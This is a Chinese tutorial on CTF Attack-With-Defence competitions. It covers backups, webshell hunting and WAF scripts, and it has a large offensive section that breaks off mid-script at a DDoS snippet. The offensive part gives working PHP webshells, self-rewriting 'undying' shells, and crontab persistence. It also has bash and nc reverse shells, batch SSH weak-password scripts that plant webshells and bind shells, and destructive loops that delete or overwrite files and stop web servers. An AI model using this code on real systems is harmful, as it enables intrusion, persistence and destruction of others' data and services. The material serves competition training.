文章目录
- CTF线下赛AWD知识点
- AWD规则
- 前期准备
- SSH登录
- 口令登录
- 密钥登录
- 改密码
- SSH密码修改
- mysql密码修改
- 备份数据
- 备份目录
- 备份数据库
- 查找后门
- 自动提交flag
- 防御思路
- 基础查杀
- 寻找最近20分钟修改过的文件
- 寻找行数最短的文件
- 关键字查杀
- 查找命令执行函数
- 文件监控
- 杀不死马
- 0x01.杀进程
- 0x02.重启php等web应用(不推荐)
- 0x03.竞争写入
- 清除反弹shell
- 提权
- 日志分析
- WAF
- WAF脚本1:
- 攻击思路
- 信息收集
- 主机发现
- 端口扫描
- 后门利用
- curl读flag
- 后门批量交flag脚本
- 一句话木马
- 隐藏shell
- 1.文件名前面添加一个小数点
- 2.把shell.php命名为-shell.php
- 特殊的shell
- 1.md5木马
- 不死马
- 权限维持
- crontab定时任务
- 0x01.使用定时任务写马
- 0x02.定时任务发送带有flag的请求
- 0x03.定时任务反弹shell
- 反弹shell
- SSH弱密码利用
- 攻击搅屎脚本
- 0x01.无线复制
- 0x02.无线停止apache2 和 nginx
- 0x03.循环删除
- 0x04.DDOS脚本(最好不要用)
- 0x05.删除数据库
- 思维导图
CTF线下赛AWD知识点
AWD规则
AWD:
Attack With Defence
,即攻防对抗,比赛中每个队伍维护多台服务器(一般两三台,视小组参赛人数而定),服务器中存在多个漏洞(web层、系统层、中间件层等),利用漏洞攻击其他队伍可以进行得分,加固时间段可自行发现漏洞对服务器进行加固,避免被其他队伍攻击失分。
- 1.一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下);
- 2.可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析(较少提供);
- 3.flag在主办方的设定下每隔一定时间刷新一轮;
- 4.各队一般都有一个初始分数;
- 5.flag一旦被其他队伍拿走,该队扣除一定积分;
- 6.得到flag的队伍加分;
- 7.一般每个队伍会给一个低权限用户,非root权限;
- 8.主办方会对每个队伍的服务进行check,服务器宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分。
前期准备
SSH登录
口令登录
ssh口令登录格式:(默认22端口)
ssh 用户名@ip -p 端口号
例如:
ssh ctf@192.168.56.128 -p 2201
密钥登录
ssh -i 私钥文件路径 用户名@ip -p 端口
ssh -i /xxx/id_rsa ctf@192.168.56.128 -p 2201
改密码
官方给出的服务器密码有可能是默认的,这时我们需要赶快修改密码
如果我们发现每个队伍的SSH账号密码都是一样的,我们需要立即修改口令,同时可以准备好脚本,进行利用
SSH密码修改
passwd
mysql密码修改
# 法一
use mysql;
set password for root@localhost = password('需要修改的密码'); # 此处使用password()函数加密
flush privileges;# 法二
update user set password = PASSWORD('需要修改的密码') where user = 'root';
flush privileges; # 刷新
备份数据
比赛开始后第一时间就要备份服务器中web目录下的文件/var/www/html/
,为了防止对方利用漏洞进入服务器把文件全部删除了,导致服务器宕机了
比赛开始后第一时间备份数据库
备份目录
# z: .tar.gz的格式
# c: 压缩
# x: 解压缩
# v: 显示详细信息
# f: 指定文件# 压缩
tar -zcvf file.tar.gz directory_to_compress# 解压
tar -zxvf file.tar.gz
备份数据库
- 备份指定多个数据库
mysqldump -uroot -p123456 --databases DB1,DB2 > /tmp/db.sql
- 不锁定表导出
mysqldump -uroot -proot --all-databases --skip-lock-tables > /tmp/db.sql
# --all-databases 导出所有数据库中的表和数据,而不只是特定数据库。
# --skip-lock-tables 在导出过程中跳过锁定表。这可以确保在导出期间不会阻塞其他对数据库的操作。
- 恢复备份(在mysql的终端执行该命令)
source /xxx/db.sql
执行了该命令,就可以将数据库恢复
查找后门
首先将服务器的源码下载下来,使用D盾
扫描一下,看一下是不是有后门,如果有,马上删除自己服务器上的后门,同时也可以利用该后门攻击其他靶机
然后使用seay
等工具进行代码审计
自动提交flag
比赛中提交 flag 一般会带上队伍 token 和 flag,格式如下:
flag.php?token=teamtoken&flag=this_is_flag
获取 flag 一般有两种方式:
- flag 在根目录,直接
cat
读取 flag - 在对方机器请求指定地址(curl)获取 flag
flag 每几分钟更换一轮,手动提交显然是不太可能的,需要提前准备自动获取,提交 flag 的脚本,并根据实际情况进行修改
下面这个脚本每两分钟获取一次 flag 并自动提交
#coding:utf-8
import requests
import re
import timeurl = "http://ip:"
url1 = ""
shell = "/includes/config.php?d=system"
passwd = "c"
port = "80"
payload = {passwd: 'cat /flag'}flag_server = "http://flag_server/flag_file.php?token=%s&flag=%s"
teamtoken = "team1"def submit_flag(target, teamtoken, flag):url = flag_server % (teamtoken, flag)pos = {}print "[+]Submitting flag:%s:%s" % (target, url)response = requests.post(url, data=pos)content = response.textprint "[+]content:%s" % contentif "success" in content:print "[+]Success!!"return Trueelse:print "[-]Failed"return Falsedef flag():f=open("webshelllist.txt","w") f1=open("firstround_flag.txt","w")for i in [8802,8803,8804]: url1=url+str(i)+shelltry:print "------------------------------------"res=requests.post(url1,payload,timeout=1)if res.status_code == requests.codes.ok:print url1 + " connect shell sucess,flag is "+res.text# 记录shell和获取的flagprint >>f1,url1+" connect shell sucess,flag is "+res.textprint >>f,url1+","+passwd# 正则捕获flagif re.match(r'hello world(\w+)', res.text): flag = re.match(r'hello world(\w+)', res.text).group(1)submit_flag(url1, teamtoken, flag)else:print "[-]Can not get flag"else:print "shell 404"except:print url1 + "connect shell failed"f.close()f1.close()def timer(n):while True:flag()flag()flag()time.sleep(n)timer(120)
防御思路
基础查杀
寻找最近20分钟修改过的文件
find /var/www/html -name *.php -mmin -20
寻找行数最短的文件
find ./ -name '*.php' | xargs wc -l | sort -u
关键字查杀
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert'
find . -name '*.php' | xargs grep -n 'system()'
查找命令执行函数
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
文件监控
# -*- coding: utf-8 -*-
#use: python file_check.py ./import os
import hashlib
import shutil
import ntpath
import timeCWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}def isListLike(value):return isinstance(value, (list, tuple, set))# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):if noneToNull and value is None:return NULLif isListLike(value):value = list(getUnicode(_, encoding, noneToNull) for _ in value)return valueif isinstance(value, unicode):return valueelif isinstance(value, basestring):while True:try:return unicode(value, encoding or UNICODE_ENCODING)except UnicodeDecodeError, ex:try:return unicode(value, UNICODE_ENCODING)except:value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]else:try:return unicode(value)except UnicodeDecodeError:return unicode(str(value), errors="ignore")# 目录创建
def mkdir_p(path):import errnotry:os.makedirs(path)except OSError as exc:if exc.errno == errno.EEXIST and os.path.isdir(path):passelse: raise# 获取当前所有文件路径
def getfilelist(cwd):filelist = []for root,subdirs, files in os.walk(cwd):for filepath in files:originalfile = os.path.join(root, filepath)if Special_path_str not in originalfile:filelist.append(originalfile)return filelist# 计算机文件MD5值
def calcMD5(filepath):try:with open(filepath,'rb') as f:md5obj = hashlib.md5()md5obj.update(f.read())hash = md5obj.hexdigest()return hashexcept Exception, e:print u'[!] getmd5_error : ' + getUnicode(filepath)print getUnicode(e)try:ORIGIN_FILE_LIST.remove(filepath)FILE_MD5_DICT.pop(filepath, None)except KeyError, e:pass# 获取所有文件MD5
def getfilemd5dict(filelist = []):filemd5dict = {}for ori_file in filelist:if Special_path_str not in ori_file:md5 = calcMD5(os.path.realpath(ori_file))if md5:filemd5dict[ori_file] = md5return filemd5dict# 备份所有文件
def backup_file(filelist=[]):# if len(os.listdir(Special_path['bak'])) == 0:for filepath in filelist:if Special_path_str not in filepath:shutil.copy2(filepath, Special_path['bak'])if __name__ == '__main__':print u'---------start------------'for value in Special_path:mkdir_p(Special_path[value])# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件ORIGIN_FILE_LIST = getfilelist(CWD)FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUGprint u'[*] pre work end!'while True:file_list = getfilelist(CWD)# 移除新上传文件diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))if len(diff_file_list) != 0:# import pdb;pdb.set_trace()for filepath in diff_file_list:try:f = open(filepath, 'r').read()except Exception, e:breakif Special_string not in f:try:print u'[*] webshell find : ' + getUnicode(filepath)shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))except Exception as e:print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)try:f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')f.close()except Exception as e:print u'[-] log error : file move error: ' + getUnicode(e)# 防止任意文件被修改,还原被修改文件md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)for filekey in md5_dict:if md5_dict[filekey] != FILE_MD5_DICT[filekey]:try:f = open(filekey, 'r').read()except Exception, e:breakif Special_string not in f:try:print u'[*] file had be change : ' + getUnicode(filekey)shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)except Exception as e:print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)try:f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')f.close()except Exception as e:print u'[-] log error : done_diff: ' + getUnicode(filekey)passtime.sleep(2)# print '[*] ' + getUnicode(time.ctime())
运行:
python jiankong.py /var/www/html
杀不死马
查看进程:
ps aux | grep www-data
# 将指定用户进程过滤
www-data 4819 0.0 0.4 315808 9016 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 6663 0.0 0.6 316188 13460 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 6675 0.0 0.3 315620 6976 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 6690 0.0 0.4 315808 9016 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 6693 0.0 0.4 315800 9056 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 7170 0.0 0.6 316312 14100 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 7239 0.0 0.6 316172 14020 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 7526 0.0 0.4 315620 8364 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 8380 0.0 0.6 316188 12612 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 22554 0.0 0.3 315564 7416 ? S 03:10 0:00 apache2 -D FOREGROUND
root 25353 0.0 0.0 8868 1544 pts/1 S+ 05:25 0:00 grep --color=auto www-data
0x01.杀进程
kill -9 对应的进程号
或执行命令:
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
ps aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9
ps aux
列出进程信息grep www-data
在进程信息中找到需要杀死的进程grep -v grep
在进程信息中剔除带grep的信息awk ‘{print $2}’
提取字符串行内容的第2个字段,也就是当前示例的进程号xargs kill -9
将进程号作为参数传递给kill -9这个命令
杀了进程之后清除不死马文件
0x02.重启php等web应用(不推荐)
service php-fpm restart
0x03.竞争写入
用一个ignore_user_abort(true)
脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。
<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.3.php'; # shell name$code = 'on shit';//pass=passwhile (1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12" .3.php');// usleep(5000);usleep(1000);}
?>
使用脚本将别人写的shell给挤掉
清除反弹shell
ps -ef
ps -aux
出现www-data权限的/bin/sh一般为nc
然后杀进程:
kill `ps -aux | grep www-data | grep apache2 | awk '{print $2}'`
提权
在AWD中,一般都需要专门防御加固自己服务器的环节,但加固的很多操作都会涉及到root权限,如果直接给root权限最好,但一般只会给一个普通权限账号,这时候往往就需要给服务器提权了。
关于提权,通常我们要根据kernel版本号找到对应的poc,平时我们可以收集测试一些比较新的提权poc,以备不时之需。
日志分析
实时地查看 Apache 服务器访问日志中最新的日志记录
tail --follow=name /var/log/apache2/access.log
log存放地址:
/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/
为了对其他防守方进行干扰,可以利用脚本发生大量垃圾数据包,混淆视觉,给对方人员增加检测的难度,浪费对方的时间。
import requests
import timedef scan_attack():file={'shell.php','admin.php','web.php','login.php','1.php','index.php'}payload={'cat /flag','ls -al','rm -f','echo 1','echo 1 /proc/sys/net/ipv4/ip_forward','rm -rf / --no-preserve-root'}while(1):for i in range(2, 255):for ii in file:url='http://192.168.182.'+ str(i)+'/'+iiprint(url)for iii in payload:data={'payload':iii}try:requests.post(url,data=data)print("正在搅屎:"+str(i)+'|'+ii+'|'+iii)time.sleep(0.1)except Exception as e:time.sleep(0.1)passif __name__ == '__main__':scan_attack()
WAF
备份好源码之后要做的就是监控访问,截取攻击向量,做好流量重放的准备。一般的 WAF 只需要做到记录访问的基本信息如时间,ip,get,post,cookie,UA即可。也可以自行编写通防 WAF,功能如关键字检测,截取上传文件内容等。
可以使用 bash 命令在每一个 php 文件前面加上 require_once
包含 WAF 文件
# 批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php";?>
# -path 指需要排除的路径
find /var/www/html/ -path /var/www/html/folder -prune -o -type f -name '*.php'|xargs sed -i '1i<?php require_once "/tmp/waf.php";?>'
也可以修改 php.ini 的 auto_prepend_file 属性,但一般不会有重启 php 服务权限
; Automatically add files before PHP document.
; http://php.net/auto-prepend-file
auto_prepend_file = /tmp/waf.php
WAF脚本1:
<?php
//error_reporting(E_ALL);
//ini_set('display_errors', 1);
/*
检测请求方式,除了get和post之外拦截下来并写日志。
*/
if ($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET') {write_attack_log("method");
}
$url = $_SERVER['REQUEST_URI']; //获取uri来进行检测
$data = file_get_contents('php://input'); //获取post的data,无论是否是mutipa
rt $headers = get_all_headers(); //获取header
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($url)))); //
对URL进行检测,出现问题则拦截并记录filter_attack_keyword(filter_invisible(urldecode(filter_0x25($data))));
//对POST的内容进行检测,出现问题拦截并记录
/*
检测过了则对输入进行简单过滤
*/
foreach ($_GET as $key => $value) {$_GET[$key] = filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {$_POST[$key] = filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录$_SERVER[$key] = filter_dangerous_words($value); //简单过滤}
/*
获取http请求头并写入数组
*/
function get_all_headers() {$headers = array();foreach ($_SERVER as $key => $value) {if (substr($key, 0, 5) === 'HTTP_') {$headers[$key] = $value;}}return $headers;
}
/*
检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改
*/
function filter_invisible($str) {for ($i = 0; $i < strlen($str); $i++) {$ascii = ord($str[$i]);if ($ascii > 126 || $ascii < 32) { //有中文这里要修改if (!in_array($ascii, array(9,10,13))) {write_attack_log("interrupt");} else {$str = str_replace($ascii, " ", $str);}}}$str = str_replace(array("`","|",";",",") , " ", $str);return $str;
}
/*
检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25
*/
function filter_0x25($str) {if (strpos($str, "%25") !== false) {$str = str_replace("%25", "%", $str);return filter_0x25($str);} else {return $str;}
}
/*
攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b
*/
function filter_attack_keyword($str) {if (preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b
|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|m
ultipoint\(/i", $str)) {write_attack_log("sqli");}if (substr_count($str, $_SERVER['PHP_SELF']) < 2) {$tmp = str_replace($_SERVER['PHP_SELF'], "", $str);if (preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)) {write_attack_log("LFI/LFR");;}} else {write_attack_log("LFI/LFR");}if (preg_match("/base64_decode|eval\(|assert\(/i", $str)) {write_attack_log("EXEC");}if (preg_match("/flag/i", $str)) {write_attack_log("GETFLAG");}
}
/*
简单将易出现问题的字符替换成中文
*/
function filter_dangerous_words($str) {$str = str_replace("'", "‘", $str);$str = str_replace("\"", "“", $str);$str = str_replace("<", "《", $str);$str = str_replace(">", "》", $str);return $str;
}
/*
获取http的请求包,意义在于获取别人的攻击payload
*/
function get_http_raw() {$raw = '';$raw.= $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' ' . $_SERVER['SERVER_PROTOCOL'] . "\r\n";foreach ($_SERVER as $key => $value) {if (substr($key, 0, 5) === 'HTTP_') {$key = substr($key, 5);$key = str_replace('_', '-', $key);$raw.= $key . ': ' . $value . "\r\n";}}$raw.= "\r\n";$raw.= file_get_contents('php://input');return $raw;
}
/*
这里拦截并记录攻击payload
*/
function write_attack_log($alert) {date_default_timezone_set("Asia/Shanghai");$data = date("Y/m/d H:i:s") . " --
[" . $alert . "]" . "\r\n" . get_http_raw() . "\r\n\r\n";$ffff = fopen('log_is_a_secret_file.txt', 'a'); //日志路径fwrite($ffff, $data);fclose($ffff);if ($alert == 'GETFLAG') {header("location:http://172.16.9.2/"); # } else {sleep(15); //拦截前延时15秒}exit(0);
}
?>
郁离歌的一枚 WAF,会在 /tmp/loooooooogs
目录下生成日志文件
<?phperror_reporting(0);
define('LOG_FILEDIR','/tmp/loooooooogs');
if(!is_dir(LOG_FILEDIR)){mkdir(LOG_FILEDIR);
}
function waf()
{
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_')
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}unset($header['Accept']);
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);logging($input);}function logging($var){
$filename = $_SERVER['REMOTE_ADDR'];
$LOG_FILENAME = LOG_FILEDIR."/".$filename;
$time = date("Y-m-d G:i:s");
file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n***************************************************************",FILE_APPEND);
}waf();
?>
攻击思路
信息收集
主机发现
- nmap、arp-scan
- python脚本
import requests
for x in range(2,255): url = "http://192.168.1.{}".format(x) try: r = requests.post(url) print(url) except: pass
端口扫描
- nmap、masscan
以下是一些服务端口的漏洞:
端口 | 漏洞 |
---|---|
22 | ssh弱口令 |
873 | 未授权访问漏洞 |
3306 | mysql弱口令 |
6379 | redis未授权访问漏洞 |
后门利用
curl读flag
curl "http://192.168.182.130:8801/include/shell.php" -d "admin_ccmd=system('cat /f*');"
# -d 代表post请求体数据
后门批量交flag脚本
import requests
import redata = {'123':"system('cat+/home/ctf/flag');" # 一句话木马
}list = []
def shell():for i in range(1,255):try:io = requests.get("http://192-168-1-" + str(i) + ".awd.bugku.cn/e/search/result/1.php?s=print_r(readfile(%27../../../../home/ctf/flag%27))") # get# list.append(io.text[0:38])list.append(re.search("flag{.*}", io.text).group(0)[:38])except:passprint(list)def shell1():for i in range(1,255):try:io = requests.post("http://192-168-1-" + str(i) +".awd.bugku.cn/view/index/images/logo.php",data=data) # post# list.append(io.text[0:38])list.append(re.search("flag{.*}", io.text).group(0)[:38])except:passprint(list)while 1:shell()# shell1()for i in list:io = requests.get("https://ctf.bugku.com/awd/submit.html?token=c2c1e4d002daa9eea931888935b0dd86&flag=" + str(i))# token 根据场景更改
写flag脚本
#coding=utf-8
import requests
url_head="http://192.168.182.130" #网段
url=""
shell_addr="/upload/url/shell.php" #木马路径
passwd="pass" #木马密码
#port="80"
payload = {passwd: 'System(\'cat /flag\');'}
# find / -name "flag*"#清空上次记录
flag=open("flag.txt","w")
flag.close()flag=open("flag.txt","a")for i in range(8000,8004):url=url_head+":"+str(i)+shell_addrtry:res=requests.post(url,payload)#,timeout=1if res.status_code == requests.codes.ok:result = res.textprint (result)flag.write(result+"\n") else:print ("shell 404")except:print (url+" connect shell fail")flag.close()
一句话木马
php: <?php @eval($_POST['pass']);?> <?php eval($_GET['pass']);
asp: <%eval request ("pass")%>
aspx: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
蚁剑连接get型一句话木马:
<?php eval($_GET['pass']);/shell.php?pass=eval($_POST[1]); # 把他转为post就行
连接密码:1
隐藏shell
如果我们直接将shell传到服务器上很容易被发现,然后被删除就完犊子了,我们需要一些操作隐藏起来
1.文件名前面添加一个小数点
将shell.php
改为.shell.php
,文件就会隐藏起来
2.把shell.php命名为-shell.php
从上面可以看出,ls加参数才能查看到shell,那么我们直接写一个-shell.php、
命令行会把-
后面的内容当成参数
执行,执行即使被发现,使用rm命令进行删除,会被当成是rm的参数,就会发生报错,无法删除shell,目的也达到了
特殊的shell
1.md5木马
我们比赛在靶机上传一个马上去,我们不想要别人利用这个马借刀杀人,我们就需要添加一些利用条件:
<?phpif(md5($_POST['pass'])=='9640496584e50a9ec80af42ef4d5db75') { # leek0s@eval($_POST['cmd']);}
?>
不死马
不死马又名内存马,通俗讲就是不死马,就是会运行一段永远不退出的程序常驻在进程里,无限执行
不死马.php
→ 上传到server
→ server执行文件
→ server本地无限循环生成
(一句话.php)
不死马实例:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.like.php';
$code = '<?php if(md5($_POST["passwd"])=="62dd82739980bf39a979ff8145868d75"){@eval($_REQUEST['cmd']);} ?>'; # md5(leek0s0616)
while (1) {file_put_contents($file, $code);system('touch -m -d "2018-12-01 09:10:12" shell2.php');usleep(2000);
}
?># 传参:passwd=leekos&cmd=
解释一下:
ignore_user_abort(true); //设置与远程客户端断开后继续执行脚本
set_time_limit(0); //设置脚本最大的执行时间,0即没有时间限制
@unlink(__FILE__); //删除文件本身
$file = '.like.php'; //文件名是.like.php
$code = <?php ?>; //php代码
file_get_contents(file,code); //打开file文件,然后写入code
system('touch -m -d "2018-12-01 09:10:12" shell2.php'); //修改文件修改时间
usleep(2000); //每隔2s写入一个新文件
权限维持
权限维持很重要,以后每一轮预留的后门都会减少,不要着急拿flag
crontab定时任务
crontab
命令:
crontab -e
:编辑当前用户的crontab
文件。如果之前没有设置过crontab
,将会创建一个新的crontab
文件。crontab -l
:列出当前用户的crontab
文件中定义的所有任务。crontab -r
:删除当前用户的crontab
文件,即移除所有已定义的任务。crontab -i
:删除当前用户的crontab
文件前进行确认提示。
0x01.使用定时任务写马
system('echo "* * * * * echo \"<?php if(md5(\\\\\\\\\$_POST[pass])==\'62dd82739980bf39a979ff8145868d75\'){@eval(\\\\\\\\\$_POST[1]);} \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');
pass=leek0s0616
来指定用户运行指定的定时任务
0x02.定时任务发送带有flag的请求
在bash中输入crontab -e
:
每2分钟向:http://ip:port/submit_flag
发送post请求,请求体中包含flag和token
*/2 * * * * curl ip:port/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'
0x03.定时任务反弹shell
*/2 * * * * bash -i >& /dev/tcp/192.168.182.130/9996 0>&1
反弹shell
bash
bash -i >& /dev/tcp/192.168.182.130/9996 0>&1bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
nc
nc -e /bin/bash 192.168.99.242 1234
https://www.cnblogs.com/xiaozi/p/13493010.html
SSH弱密码利用
批量用户登入修改密码并写入webshell且获取flag值。
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import paramiko
for i in range(2,255): # 这里可以改iptry:host = "4.4."+str(i)+".100" #s=paramiko.SSHClient()s.set_missing_host_key_policy(paramiko.AutoAddPolicy())s.connect(hostname=host,port=22,username='root',password='123456')stdin,stdout,stderr = s.exec_command('passwd\n') # 修改ssh密码stdin.write("123456\nPass@123.com\nPass@123.com\n")stdin,stdout,stderr = s.exec_command("echo '<?php eval($_POST[leekos]);?>'>/var/www/html/.like.php")stdin,stdout,stderr = s.exec_command('cat /flag') # 获得flagprint(host+':'+stdout.read().decode('utf-8'))s.close()except:print(host+':Fails!')
单个:
#-*- coding:utf-8 -*-
import paramiko
ip = '192.168.1.137'
port = '22'
username = 'root'
passwd = '123456'
# ssh 用户名 密码 登陆
def ssh_base_pwd(ip,port,username,passwd,cmd='cat /flag'): # 命令port = int(port)ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect(hostname=ip, port=port, username=username, password=passwd)stdin,stdout,stderr = ssh.exec_command(cmd)result = stdout.read()if not result :print("无结果!")result = stderr.read()ssh.close()return result.decode()
a = ssh_base_pwd(ip,port,username,passwd)
print(a)
批量:
#-*- coding:utf-8 -*-
import paramiko
import threading
import queue
import time
#反弹shell python
q=queue.Queue()
#lock = threading.Lock()# ssh 用户名 密码 登陆
def ssh_base_pwd(ip,port,username,passwd,cmd):port = int(port)ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect(hostname=ip, port=port, username=username, password=passwd)stdin,stdout,stderr = ssh.exec_command(cmd)result = stdout.read()if not result :result = stderr.read()ssh.close()return result.decode()def main(x):shell = '''#服务器端import socketimport oss=socket.socket() #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.bind(('0.0.0.0',9996)) #绑定地址和端口#0.0.0.0接收任意客户端ip连接s.listen(5) #调用listen方法开始监听端口,传入的参数为等待连接的最大数量con,addr=s.accept() #接受一个客户端的连接#print(con,addr)for i in range(10):cmd=con.recv(1024)print(cmd)command=cmd.decode()if command.startswith('cd'):os.chdir(command[2:].strip()) #切换路径result=os.getcwd() #显示路径else:result=os.popen(command).read()if result:con.send(result.encode())else:con.send(b'OK!')'''cmd = 'echo \"%s\" > ./.shell.py' % (shell) +'&& python3 ./.shell.py'port = '22' #username = 'root' #passwd = 'toor' # passwdip = '192.168.1.{}'.format(x) # ipq.put(ip.strip(),block=True, timeout=None)ip_demo=q.get()#判断是否成功try:#lock.acquire()res = ssh_base_pwd(ip_demo,port,username,passwd,cmd='id')if res:print("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]")#lock.release()ssh_base_pwd(ip_demo,port,username,passwd,cmd)except:print("[ - ]Ip: %s" % ip_demo +" is Failed")if x > 255:print("Finshed!!!!!!!!")q.task_done()#线程队列部分
th=[]
th_num=255
for x in range(th_num):t=threading.Thread(target=main,args=(x,))th.append(t)
for x in range(th_num):th[x].start()
for x in range(th_num):th[x].join()#q.join()所有任务完成
攻击搅屎脚本
0x01.无线复制
<?phpset_time_limit(0);ignore_user_abort(true);while(1){file_put_contents(randstr().'.php',file_get_content(__FILE__));file_get_contents("http://127.0.0.1/");}
?>
0x02.无线停止apache2 和 nginx
#!/usr/bin/env sh
while [[ 1 ]]
doservice apache2 stopservice nginx stop
done &
最后加一个&代表可以在后台运行
0x03.循环删除
<?phpset_time_limit(0);ignore_user_abort(1);unlink(__FILE__);function getfiles($path){foreach(glob($path) as $afile){if(is_dir($afile))getfiles($afile.'/*.php');else@file_put_contents($afile,"#on shit#");//unlink($afile);}}while(1){getfiles(__DIR__);sleep(10);}
?>
<?phpset_time_limit(0);ignore_user_abort(1);array_map('unlink', glob("some/dir/*.php"));
?>
0x04.DDOS脚本(最好不要用)
import socket
import time
import threadingmax=90000000
port=80 #端口
host="192.168.92.154" #IP
